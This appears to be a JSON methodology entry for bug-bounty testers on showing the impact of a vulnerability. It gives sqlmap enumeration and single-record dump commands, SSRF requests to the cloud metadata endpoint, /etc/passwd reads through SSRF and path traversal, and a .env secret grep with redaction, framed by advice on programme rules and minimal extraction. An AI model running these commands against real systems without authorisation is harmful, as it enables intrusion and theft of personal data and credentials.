{
  "slug": "data-exfiltration",
  "title": "Data Extraction & Impact Demonstration",
  "phase": "Post-Exploitation",
  "description": "Safely demonstrate the impact of a vulnerability by extracting proof-of-concept data — PII samples, internal configs, source code — while staying within programme rules.",
  "difficulty": "medium",
  "tags": [
    "post-exploitation",
    "data-extraction",
    "impact",
    "proof-of-concept",
    "responsible-disclosure"
  ],
  "tools": [
    "sqlmap",
    "curl",
    "Burp Suite",
    "Python"
  ],
  "steps": [
    {
      "id": "exfil-01",
      "title": "Assess data access scope",
      "description": "Determine what data is accessible through the vulnerability — database tables, file system, internal APIs — and prioritise extraction targets by sensitivity.",
      "commands": [
        "sqlmap -u 'https://target.com/search?q=test' --dbs --batch",
        "curl -sk 'https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/'"
      ],
      "notes": "Before extracting any data, review the programme's rules of engagement. Some programmes explicitly prohibit accessing real user data even through confirmed vulnerabilities."
    },
    {
      "id": "exfil-02",
      "title": "Extract minimal proof-of-concept data",
      "description": "Retrieve exactly one record or a small sample to prove the vulnerability's impact without exfiltrating the entire dataset.",
      "commands": [
        "sqlmap -u 'https://target.com/search?q=test' -D appdb -T users --dump --start 1 --stop 1 --batch",
        "curl -sk 'https://target.com/api/users/1' -H 'Authorization: Bearer <token>'"
      ],
      "notes": "Extract the minimum data needed to demonstrate impact. One record with PII fields proves the point — a full database dump violates most programme rules and may have legal consequences."
    },
    {
      "id": "exfil-03",
      "title": "Document database structure without full extraction",
      "description": "Map the database schema (table names, column names, row counts) to demonstrate the scope of access without dumping actual data.",
      "commands": [
        "sqlmap -u 'https://target.com/search?q=test' -D appdb --tables --batch",
        "sqlmap -u 'https://target.com/search?q=test' -D appdb -T users --columns --batch",
        "sqlmap -u 'https://target.com/search?q=test' -D appdb -T users --count --batch"
      ],
      "notes": "A table named 'users' with columns 'email', 'password_hash', 'ssn' and 500,000 rows is powerful evidence of impact without exposing a single record."
    },
    {
      "id": "exfil-04",
      "title": "Capture internal configuration files",
      "description": "Demonstrate access to internal configuration files that reveal infrastructure details, credentials, or API keys.",
      "commands": [
        "curl -sk 'https://target.com/api/debug/config'",
        "curl -sk 'https://target.com/fetch?url=file:///etc/passwd'",
        "curl -sk 'https://target.com/..%2f..%2f..%2fetc/passwd'"
      ],
      "notes": "Redact any real credentials in your report screenshots. Demonstrate that access is possible without using the credentials to access further systems."
    },
    {
      "id": "exfil-05",
      "title": "Demonstrate credential access without using them",
      "description": "If credentials are discovered (API keys, database passwords, AWS keys), document their existence and format without authenticating with them.",
      "commands": [
        "curl -sk 'https://target.com/.env' | grep -iE '(password|secret|key|token)' | sed 's/=.*/=REDACTED/'"
      ],
      "notes": "Never use discovered credentials to access additional systems. Document the credential type, where it was found, and what it could provide access to — this is sufficient for a critical-severity report."
    },
    {
      "id": "exfil-06",
      "title": "Calculate affected user count for impact assessment",
      "description": "Determine the number of affected users or records to quantify the vulnerability's impact for the report.",
      "commands": [
        "sqlmap -u 'https://target.com/search?q=test' -D appdb -T users --count --batch",
        "curl -sk 'https://target.com/api/users?page=1&per_page=1' -H 'Authorization: Bearer <token>' | python3 -c \"import sys,json; print(json.load(sys.stdin).get('total_count','unknown'))\""
      ],
      "notes": "Include the affected user count in your report's impact section. \"500,000 user records including email and hashed passwords are accessible\" is far more compelling than \"user data is exposed.\""
    }
  ],
  "references": [
    "https://github.com/sqlmapproject/sqlmap",
    "https://portswigger.net/web-security/sql-injection",
    "https://cheatsheetseries.owasp.org/cheatsheets/Vulnerability_Disclosure_Cheat_Sheet.html",
    "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection",
    "https://portswigger.net/web-security/ssrf"
  ],
  "version": "1.0.0",
  "updatedAt": "2026-06-17"
}